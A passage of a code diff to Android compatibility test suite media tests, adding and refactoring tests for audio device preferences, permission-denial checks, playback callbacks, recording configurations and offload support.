+            fail("Unexpected exception thrown by getAudioHwSyncForSession: " + e);
+        }
+    }
+
+    private void setInterruptionFilter(int filter) {
+        mNm.setInterruptionFilter(filter);
+        final long startPoll = SystemClock.uptimeMillis();
+        int currentFilter = -1;
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_UPDATE_INTERRUPTION_FILTER) {
+            currentFilter = mNm.getCurrentInterruptionFilter();
+            if (currentFilter == filter) {
+                return;
+            }
+        }
+        Log.e(TAG, "interruption filter unsuccessfully set. wanted=" + filter
+                + " actual=" + currentFilter);
     }
 
     private int getVolumeDelta(int volume) {
@@ -1684,6 +1723,221 @@
         }
     }
 
+    static class MyPrevDevForStrategyListener implements
+            AudioManager.OnPreferredDevicesForStrategyChangedListener {
+        @Override
+        public void onPreferredDevicesForStrategyChanged(AudioProductStrategy strategy,
+                List<AudioDeviceAttributes> devices) {
+            fail("onPreferredDevicesForStrategyChanged must not be called");
+        }
+    }
+
+    public void testPreferredDevicesForStrategy() {
+        // setPreferredDeviceForStrategy
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        if (devices.length <= 0) {
+            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no output device");
+            return;
+        }
+        final AudioDeviceAttributes ada = new AudioDeviceAttributes(devices[0]);
+
+        final AudioAttributes mediaAttr = new AudioAttributes.Builder().setUsage(
+                AudioAttributes.USAGE_MEDIA).build();
+        final List<AudioProductStrategy> strategies =
+                AudioProductStrategy.getAudioProductStrategies();
+        AudioProductStrategy strategyForMedia = null;
+        for (AudioProductStrategy strategy : strategies) {
+            if (strategy.supportsAudioAttributes(mediaAttr)) {
+                strategyForMedia = strategy;
+                break;
+            }
+        }
+        if (strategyForMedia == null) {
+            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no strategy for media");
+            return;
+        }
+
+        try {
+            mAudioManager.setPreferredDeviceForStrategy(strategyForMedia, ada);
+            fail("setPreferredDeviceForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.getPreferredDeviceForStrategy(strategyForMedia);
+            fail("getPreferredDeviceForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        final List<AudioDeviceAttributes> adas = new ArrayList<>();
+        adas.add(ada);
+        try {
+            mAudioManager.setPreferredDevicesForStrategy(strategyForMedia, adas);
+            fail("setPreferredDevicesForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.getPreferredDevicesForStrategy(strategyForMedia);
+            fail("getPreferredDevicesForStrategy must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        MyPrevDevForStrategyListener listener = new MyPrevDevForStrategyListener();
+        try {
+            mAudioManager.addOnPreferredDevicesForStrategyChangedListener(
+                    Executors.newSingleThreadExecutor(), listener);
+            fail("addOnPreferredDevicesForStrategyChangedListener must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        // There is not listener added at server side. Nothing to remove.
+        mAudioManager.removeOnPreferredDevicesForStrategyChangedListener(listener);
+    }
+
+    static class MyPrevDevicesForCapturePresetChangedListener implements
+            AudioManager.OnPreferredDevicesForCapturePresetChangedListener {
+        @Override
+        public void onPreferredDevicesForCapturePresetChanged(
+                int capturePreset, List<AudioDeviceAttributes> devices) {
+            fail("onPreferredDevicesForCapturePresetChanged must not be called");
+        }
+    }
+
+    public void testPreferredDeviceForCapturePreset() {
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+        if (devices.length <= 0) {
+            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no input device");
+            return;
+        }
+        final AudioDeviceAttributes ada = new AudioDeviceAttributes(devices[0]);
+
+        try {
+            mAudioManager.setPreferredDeviceForCapturePreset(MediaRecorder.AudioSource.MIC, ada);
+            fail("setPreferredDeviceForCapturePreset must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.getPreferredDevicesForCapturePreset(MediaRecorder.AudioSource.MIC);
+            fail("getPreferredDevicesForCapturePreset must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        try {
+            mAudioManager.clearPreferredDevicesForCapturePreset(MediaRecorder.AudioSource.MIC);
+            fail("clearPreferredDevicesForCapturePreset must fail due to no permission");
+        } catch (SecurityException e) {
+        }
+        MyPrevDevicesForCapturePresetChangedListener listener =
+                new MyPrevDevicesForCapturePresetChangedListener();
+        try {
+            mAudioManager.addOnPreferredDevicesForCapturePresetChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+            fail("addOnPreferredDevicesForCapturePresetChangedListener must fail"
+                    + "due to no permission");
+        } catch (SecurityException e) {
+        }
+        // There is not listener added at server side. Nothing to remove.
+        mAudioManager.removeOnPreferredDevicesForCapturePresetChangedListener(listener);
+    }
+
+    public void testGetDevices() {
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
+        for (AudioDeviceInfo device : devices) {
+            HashSet<Integer> formats = IntStream.of(device.getEncodings()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> channelMasks = IntStream.of(device.getChannelMasks()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> channelIndexMasks = IntStream.of(device.getChannelIndexMasks()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> sampleRates = IntStream.of(device.getSampleRates()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> formatsFromProfile = new HashSet<>();
+            HashSet<Integer> channelMasksFromProfile = new HashSet<>();
+            HashSet<Integer> channelIndexMasksFromProfile = new HashSet<>();
+            HashSet<Integer> sampleRatesFromProfile = new HashSet<>();
+            for (AudioProfile profile : device.getAudioProfiles()) {
+                formatsFromProfile.add(profile.getFormat());
+                channelMasksFromProfile.addAll(Arrays.stream(profile.getChannelMasks()).boxed()
+                        .collect(Collectors.toList()));
+                channelIndexMasksFromProfile.addAll(Arrays.stream(profile.getChannelIndexMasks())
+                        .boxed().collect(Collectors.toList()));
+                sampleRatesFromProfile.addAll(Arrays.stream(profile.getSampleRates()).boxed()
+                        .collect(Collectors.toList()));
+                assertTrue(ALL_ENCAPSULATION_TYPES.contains(profile.getEncapsulationType()));
+            }
+            for (AudioDescriptor descriptor : device.getAudioDescriptors()) {
+                assertNotEquals(AudioDescriptor.STANDARD_NONE, descriptor.getStandard());
+                assertNotNull(descriptor.getDescriptor());
+            }
+            assertEquals(formats, formatsFromProfile);
+            assertEquals(channelMasks, channelMasksFromProfile);
+            assertEquals(channelIndexMasks, channelIndexMasksFromProfile);
+            assertEquals(sampleRates, sampleRatesFromProfile);
+        }
+    }
+
+    private void assertStreamVolumeEquals(int stream, int expectedVolume) throws Exception {
+        assertStreamVolumeEquals(stream, expectedVolume,
+                "Unexpected stream volume for stream=" + stream);
+    }
+
+    // volume adjustments are asynchronous, we poll the volume in case the volume state hasn't
+    // been adjusted yet
+    private void assertStreamVolumeEquals(int stream, int expectedVolume, String msg)
+            throws Exception {
+        final long startPoll = SystemClock.uptimeMillis();
+        int actualVolume = mAudioManager.getStreamVolume(stream);
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_VOLUME_ADJUST
+                && expectedVolume != actualVolume) {
+            actualVolume = mAudioManager.getStreamVolume(stream);
+        }
+        assertEquals(msg, expectedVolume, actualVolume);
+    }
+
+    // volume adjustments are asynchronous, we poll the volume in case the mute state hasn't
+    // changed yet
+    private void assertStreamMuted(int stream, boolean expectedMuteState, String msg)
+            throws Exception{
+        final long startPoll = SystemClock.uptimeMillis();
+        boolean actualMuteState = mAudioManager.isStreamMute(stream);
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_VOLUME_ADJUST
+                && expectedMuteState != actualMuteState) {
+            actualMuteState = mAudioManager.isStreamMute(stream);
+        }
+        assertEquals(msg, expectedMuteState, actualMuteState);
+    }
+
+    private void assertMusicActive(boolean expectedIsMusicActive) throws Exception {
+        final long startPoll = SystemClock.uptimeMillis();
+        boolean actualIsMusicActive = mAudioManager.isMusicActive();
+        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_PLAY_MUSIC
+                && expectedIsMusicActive != actualIsMusicActive) {
+            actualIsMusicActive = mAudioManager.isMusicActive();
+        }
+        assertEquals(actualIsMusicActive, actualIsMusicActive);
+    }
+
+    private static final long REPEATED_CHECK_POLL_PERIOD_MS = 100; // 100ms
+    private static final long DEFAULT_ASYNC_CALL_TIMEOUT_MS = 5 * REPEATED_CHECK_POLL_PERIOD_MS;
+
+    /**
+     * Makes multiple attempts over a given timeout period to test the predicate on an AudioManager
+     * instance. Test success is evaluated against a true predicate result.
+     * @param am the AudioManager instance to use for the test
+     * @param predicate the test to run either until it returns true, or until the timeout expires
+     * @param timeoutMs the maximum time allowed for the test to pass
+     * @param errorString the string to be displayed in case of failure
+     * @throws Exception
+     */
+    private void assertTrueCheckTimeout(AudioManager am, Predicate<AudioManager> predicate,
+            long timeoutMs, String errorString) throws Exception {
+        long checkStart = SystemClock.uptimeMillis();
+        boolean result = false;
+        while (SystemClock.uptimeMillis() - checkStart < timeoutMs) {
+            result = predicate.test(am);
+            if (result) {
+                break;
+            }
+            Thread.sleep(REPEATED_CHECK_POLL_PERIOD_MS);
+        }
+        assertTrue(errorString, result);
+    }
+
     // getParameters() & setParameters() are deprecated, so don't test
 
     // setAdditionalOutputDeviceDelay(), getAudioVolumeGroups(), getVolumeIndexForAttributes()
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index b67ec58..472763c 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -284,7 +284,6 @@
             AudioAttributes.USAGE_ASSISTANCE_SONIFICATION,
             AudioAttributes.USAGE_ASSISTANT,
             AudioAttributes.USAGE_NOTIFICATION,
-            AudioAttributes.USAGE_VOICE_COMMUNICATION
     };
 
     @Presubmit
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
index 04023fd..e54cf71 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -20,10 +20,12 @@
 import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_NONE;
 import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM;
 
+import android.annotation.Nullable;
 import android.content.pm.PackageManager;
 import android.media.AudioAttributes;
 import android.media.AudioAttributes.CapturePolicy;
 import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
 import android.media.MediaPlayer;
 import android.media.SoundPool;
 import android.net.Uri;
@@ -32,15 +34,14 @@
 import android.os.Parcel;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
-import android.media.AudioPlaybackConfiguration;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.internal.annotations.GuardedBy;
 
 import java.io.File;
+import java.io.IOException;
 import java.lang.reflect.Method;
 import java.util.ArrayList;
-import java.util.Iterator;
 import java.util.List;
 
 @AppModeFull(reason = "Instant apps cannot access the SD card")
@@ -49,7 +50,11 @@
 
     static final String mInpPrefix = WorkDir.getMediaDirString();
     private final static int TEST_TIMING_TOLERANCE_MS = 150;
+    /** acceptable timeout for the time it takes for a prepared MediaPlayer to have an audio device
+     * selected and reported when starting to play */
+    private final static int PLAY_ROUTING_TIMING_TOLERANCE_MS = 500;
     private final static int TEST_TIMEOUT_SOUNDPOOL_LOAD_MS = 3000;
+    private final static long MEDIAPLAYER_PREPARE_TIMEOUT_MS = 2000;
 
     // not declared inside test so it can be released in case of failure
     private MediaPlayer mMp;
@@ -90,8 +95,8 @@
                 .setContentType(TEST_CONTENT)
                 .setAllowedCapturePolicy(ALLOW_CAPTURE_BY_NONE)
                 .build();
-        mMp = MediaPlayer.create(getContext(),
-                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+        mMp = createPreparedMediaPlayer(
+                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
                 am.generateAudioSessionId());
         mMp.start();
         Thread.sleep(TEST_TIMING_TOLERANCE_MS);// waiting for playback to start
@@ -139,8 +144,8 @@
         List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
         final int nbActivePlayersBeforeStart = configs.size();
 
-        mMp = MediaPlayer.create(getContext(),
-                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+        mMp = createPreparedMediaPlayer(
+                Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
                 am.generateAudioSessionId());
         configs = am.getActivePlaybackConfigurations();
         assertEquals("inactive MediaPlayer, number of configs shouldn't have changed",
@@ -160,6 +165,7 @@
         final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
         final Method getClientPidMethod = confClass.getDeclaredMethod("getClientPid");
         final Method getPlayerTypeMethod = confClass.getDeclaredMethod("getPlayerType");
+        final Method getSessionIdMethod = confClass.getDeclaredMethod("getSessionId");
         try {
             Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
             assertEquals("uid isn't protected", -1 /*expected*/, uid.intValue());
@@ -167,6 +173,8 @@
             assertEquals("pid isn't protected", -1 /*expected*/, pid.intValue());
             Integer type = (Integer) getPlayerTypeMethod.invoke(config, (Object[]) null);
             assertEquals("player type isn't protected", -1 /*expected*/, type.intValue());
+            Integer sessionId = (Integer) getSessionIdMethod.invoke(config, (Object[]) null);
+            assertEquals("session ID isn't protected", 0 /*expected*/, sessionId.intValue());
         } catch (Exception e) {
             fail("Exception thrown during reflection on config privileged fields"+ e);
         }
@@ -192,35 +200,33 @@
             h = null;
         }
 
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        MyAudioPlaybackCallback registeredCallback = null;
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
         try {
-            AudioManager am = new AudioManager(getContext());
-            assertNotNull("Could not create AudioManager", am);
-
-            final AudioAttributes aa = (new AudioAttributes.Builder())
-                    .setUsage(TEST_USAGE)
-                    .setContentType(TEST_CONTENT)
-                    .build();
-
-            mMp = MediaPlayer.create(getContext(),
-                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+            mMp =  createPreparedMediaPlayer(
+                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
                     am.generateAudioSessionId());
 
-            MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
             am.registerAudioPlaybackCallback(callback, h /*handler*/);
+            registeredCallback = callback;
 
             // query how many active players before starting the MediaPlayer
             List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
             final int nbActivePlayersBeforeStart = configs.size();
 
-            mMp.start();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
+                    nbActivePlayersBeforeStart + 1, aa);
 
-            assertEquals("onPlaybackConfigChanged call count not expected",
-                    1/*expected*/, callback.getCbInvocationNumber()); //only one start call
-            assertEquals("number of active players not expected",
-                    // one more player active
-                    nbActivePlayersBeforeStart + 1/*expected*/, callback.getNbConfigs());
-            assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
 
             // stopping playback: callback is called with no match
             callback.reset();
@@ -234,6 +240,7 @@
 
             // unregister callback and start playback again
             am.unregisterAudioPlaybackCallback(callback);
+            registeredCallback = null;
             Thread.sleep(TEST_TIMING_TOLERANCE_MS);
             callback.reset();
             mMp.start();
@@ -246,6 +253,9 @@
                     (AudioManager.AudioPlaybackCallback) callback;
             apc.onPlaybackConfigChanged(new ArrayList<AudioPlaybackConfiguration>());
         } finally {
+            if (registeredCallback != null) {
+                am.unregisterAudioPlaybackCallback(registeredCallback);
+            }
             if (h != null) {
                 h.getLooper().quit();
             }
@@ -257,35 +267,30 @@
         handlerThread.start();
         final Handler h = new Handler(handlerThread.getLooper());
 
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
         try {
-            AudioManager am = new AudioManager(getContext());
-            assertNotNull("Could not create AudioManager", am);
-
-            final AudioAttributes aa = (new AudioAttributes.Builder())
-                    .setUsage(TEST_USAGE)
-                    .setContentType(TEST_CONTENT)
-                    .build();
-
-            mMp = MediaPlayer.create(getContext(),
-                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+            mMp = createPreparedMediaPlayer(
+                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
                     am.generateAudioSessionId());
 
-            MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
             am.registerAudioPlaybackCallback(callback, h /*handler*/);
 
             // query how many active players before starting the MediaPlayer
-            List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+            List<AudioPlaybackConfiguration> configs =
+                    am.getActivePlaybackConfigurations();
             final int nbActivePlayersBeforeStart = configs.size();
 
-            mMp.start();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-            assertEquals("onPlaybackConfigChanged call count not expected",
-                    1/*expected*/, callback.getCbInvocationNumber()); //only one start call
-            assertEquals("number of active players not expected",
-                    // one more player active
-                    nbActivePlayersBeforeStart + 1/*expected*/, callback.getNbConfigs());
-            assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
+                    nbActivePlayersBeforeStart + 1, aa);
 
             // release the player without stopping or pausing it first
             callback.reset();
@@ -297,8 +302,8 @@
             assertEquals("number of active players not expected after release",
                     nbActivePlayersBeforeStart/*expected*/, callback.getNbConfigs());
 
-            am.unregisterAudioPlaybackCallback(callback);
         } finally {
+            am.unregisterAudioPlaybackCallback(callback);
             if (h != null) {
                 h.getLooper().quit();
             }
@@ -310,6 +315,7 @@
 
         AudioManager am = new AudioManager(getContext());
         assertNotNull("Could not create AudioManager", am);
+
         MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
         am.registerAudioPlaybackCallback(callback, null /*handler*/);
 
@@ -370,6 +376,85 @@
                 nbActivePlayersBeforeStart, nbActivePlayersAfterPause);
     }
 
+    public void testGetAudioDeviceInfoMediaPlayerStart() throws Exception {
+        if (!isValidPlatform("testGetAudioDeviceInfoMediaPlayerStart")) return;
+
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler h = new Handler(handlerThread.getLooper());
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        try {
+            mMp = createPreparedMediaPlayer(
+                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), aa,
+                    am.generateAudioSessionId());
+
+            am.registerAudioPlaybackCallback(callback, h /*handler*/);
+
+            // query how many active players before starting the MediaPlayer
+            List<AudioPlaybackConfiguration> configs =
+                    am.getActivePlaybackConfigurations();
+            final int nbActivePlayersBeforeStart = configs.size();
+
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
+                    nbActivePlayersBeforeStart + 1, aa);
+
+            assertTrue("Active player, device not found",
+                    hasDevice(callback.getConfigs(), aa));
+
+        } finally {
+            am.unregisterAudioPlaybackCallback(callback);
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    private @Nullable MediaPlayer createPreparedMediaPlayer(
+            Uri uri, AudioAttributes aa, int session) throws Exception {
+        final TestUtils.Monitor onPreparedCalled = new TestUtils.Monitor();
+        final MediaPlayer mp = createPlayer(uri, aa, session);
+        mp.setOnPreparedListener(mp1 -> onPreparedCalled.signal());
+        mp.prepare();
+        onPreparedCalled.waitForSignal(MEDIAPLAYER_PREPARE_TIMEOUT_MS);
+        assertTrue(
+                "MediaPlayer wasn't prepared in under " + MEDIAPLAYER_PREPARE_TIMEOUT_MS + " ms",
+                onPreparedCalled.isSignalled());
+        return mp;
+    }
+
+    private MediaPlayer createPlayer(
+            Uri uri, AudioAttributes aa, int session) throws IOException {
+        MediaPlayer mp = new MediaPlayer();
+        mp.setAudioAttributes(aa);
+        mp.setAudioSessionId(session);
+        mp.setDataSource(getContext(), uri);
+        return mp;
+    }
+
+    private void assertPlayerStartAndCallbackWithPlayerAttributes(
+            MediaPlayer mp, MyAudioPlaybackCallback callback,
+            int activePlayerCount, AudioAttributes aa) throws Exception{
+        mp.start();
+
+        assertTrue("onPlaybackConfigChanged play and device called expected "
+                , callback.waitForCallbacks(2,
+                        TEST_TIMING_TOLERANCE_MS + PLAY_ROUTING_TIMING_TOLERANCE_MS));
+        assertEquals("number of active players not expected",
+                // one more player active
+                activePlayerCount/*expected*/, callback.getNbConfigs());
+        assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+    }
+
     private static class MyAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
         private final Object mCbLock = new Object();
         @GuardedBy("mCbLock")
@@ -377,6 +462,8 @@
         @GuardedBy("mCbLock")
         private List<AudioPlaybackConfiguration> mConfigs;
 
+        final TestUtils.Monitor mOnCalledMonitor = new TestUtils.Monitor();
+
         void reset() {
             synchronized (mCbLock) {
                 mCalled = 0;
@@ -410,6 +497,14 @@
                 mCalled++;
                 mConfigs = configs;
             }
+            mOnCalledMonitor.signal();
+        }
+
+        public boolean waitForCallbacks(int calledCount, long timeoutMs)
+                throws InterruptedException {
+            int signalsCounted =
+                    mOnCalledMonitor.waitForCountedSignals(calledCount, timeoutMs);
+            return (signalsCounted == calledCount);
         }
     }
 
@@ -426,6 +521,20 @@
         return false;
     }
 
+    private static boolean hasDevice(List<AudioPlaybackConfiguration> configs, AudioAttributes aa) {
+        for (AudioPlaybackConfiguration apc : configs) {
+            if (apc.getAudioAttributes().getContentType() == aa.getContentType()
+                    && apc.getAudioAttributes().getUsage() == aa.getUsage()
+                    && apc.getAudioAttributes().getFlags() == aa.getFlags()
+                    && anonymizeCapturePolicy(apc.getAudioAttributes().getAllowedCapturePolicy())
+                            == aa.getAllowedCapturePolicy()
+                    && apc.getAudioDeviceInfo() != null) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     /** ALLOW_CAPTURE_BY_SYSTEM is anonymized to ALLOW_CAPTURE_BY_NONE. */
     @CapturePolicy
     private static int anonymizeCapturePolicy(@CapturePolicy int policy) {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index e14a6c5..f080be7 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.testng.Assert.assertThrows;
@@ -38,6 +39,7 @@
 import android.media.MicrophoneDirection;
 import android.media.MicrophoneInfo;
 import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
+import android.media.metrics.LogSessionId;
 import android.os.Handler;
 import android.os.Looper;
 import android.os.Message;
@@ -385,6 +387,30 @@
                 AudioFormat.ENCODING_PCM_16BIT);
     }
 
+    // Audit buffers can run out of space with high numbers of channels,
+    // so keep the sample rate low.
+    @Test
+    public void testAudioRecordAuditChannelIndex3() throws Exception {
+        doTest("audit_channel_index_3", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                true /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 16000 /*TEST_SR*/,
+                (1 << 0) | (1 << 1) | (1 << 2)  /* 3 channels */,
+                AudioFormat.ENCODING_PCM_24BIT_PACKED);
+    }
+
+    // Audit buffers can run out of space with high numbers of channels,
+    // so keep the sample rate low.
+    @Test
+    public void testAudioRecordAuditChannelIndex1() throws Exception {
+        doTest("audit_channel_index_1", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                true /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 24000 /*TEST_SR*/,
+                (1 << 0)  /* 1 channels */,
+                AudioFormat.ENCODING_PCM_32BIT);
+    }
+
     // Test AudioRecord.Builder to verify the observed configuration of an AudioRecord built with
     // an empty Builder matches the documentation / expected values
     @Test
@@ -577,7 +603,7 @@
                 final short[] shortData = new short[BUFFER_SAMPLES];
                 final AudioHelper.TimestampVerifier tsVerifier =
                         new AudioHelper.TimestampVerifier(TAG, RECORD_SAMPLE_RATE,
-                                isProAudioDevice());
+                                0 /* startFrames */, isProAudioDevice());
 
                 while (samplesRead < targetSamples) {
                     final int amount = samplesRead == 0 ? numChannels :
@@ -1027,6 +1053,17 @@
 
         AudioRecordingConfiguration config = mAudioRecord.getActiveRecordingConfiguration();
         checkRecordingConfig(config);
+
+        mAudioRecord.release();
+        // test no exception is thrown when querying immediately after release()
+        // which is not a synchronous operation
+        config = mAudioRecord.getActiveRecordingConfiguration();
+        try {
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+        } catch (InterruptedException e) {
+        }
+        assertNull("Recording configuration not null after release",
+                mAudioRecord.getActiveRecordingConfiguration());
     }
 
     private static void checkRecordingConfig(AudioRecordingConfiguration config) {
@@ -1772,4 +1809,35 @@
         assertTrue(record.isPrivacySensitive());
         record.release();
     }
+
+    @Test
+    public void testSetLogSessionId() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        AudioRecord audioRecord = null;
+        try {
+            audioRecord = new AudioRecord.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                            .build())
+                    .build();
+            audioRecord.setLogSessionId(LogSessionId.LOG_SESSION_ID_NONE); // should not throw.
+            audioRecord.setLogSessionId(
+                    new LogSessionId("0123456789abcdef")); // 16 char Base64Url id.
+
+            // record some data to generate a log entry.
+            short data[] = new short[audioRecord.getSampleRate() / 2];
+            audioRecord.startRecording();
+            audioRecord.read(data, 0 /* offsetInShorts */, data.length);
+            audioRecord.stop();
+
+            // Also can check the mediametrics dumpsys to validate logs generated.
+        } finally {
+            if (audioRecord != null) {
+                audioRecord.release();
+            }
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index 887b868..0b0a3aa 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -17,6 +17,7 @@
 
 package android.media.cts;
 
+import android.annotation.Nullable;
 import android.annotation.RawRes;
 import android.content.res.AssetFileDescriptor;
 import android.media.AudioAttributes;
@@ -29,7 +30,6 @@
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
 import javax.annotation.concurrent.GuardedBy;
-import java.io.IOException;
 import java.io.InputStream;
 import java.util.concurrent.Executor;
 
@@ -72,57 +72,100 @@
                 getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
     }
 
+    public void testGetPlaybackOffloadSupportNullFormat() throws Exception {
+        try {
+            final int offloadMode = AudioManager.getPlaybackOffloadSupport(null,
+                    DEFAULT_ATTR);
+            fail("Shouldn't be able to use null AudioFormat in getPlaybackOffloadSupport()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testGetPlaybackOffloadSupportNullAttributes() throws Exception {
+        try {
+            final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+                    getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
+            fail("Shouldn't be able to use null AudioAttributes in getPlaybackOffloadSupport()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testExerciseGetPlaybackOffloadSupport() throws Exception {
+        final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
+        assertTrue("getPlaybackOffloadSupport returned invalid mode: " + offloadMode,
+            offloadMode == AudioManager.PLAYBACK_OFFLOAD_NOT_SUPPORTED
+                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_SUPPORTED
+                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_GAPLESS_SUPPORTED);
+    }
 
     public void testMP3AudioTrackOffload() throws Exception {
         testAudioTrackOffload(R.raw.sine1khzs40dblong,
-                              /* bitRateInkbps= */ 192,
-                              getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+                /* bitRateInkbps= */ 192,
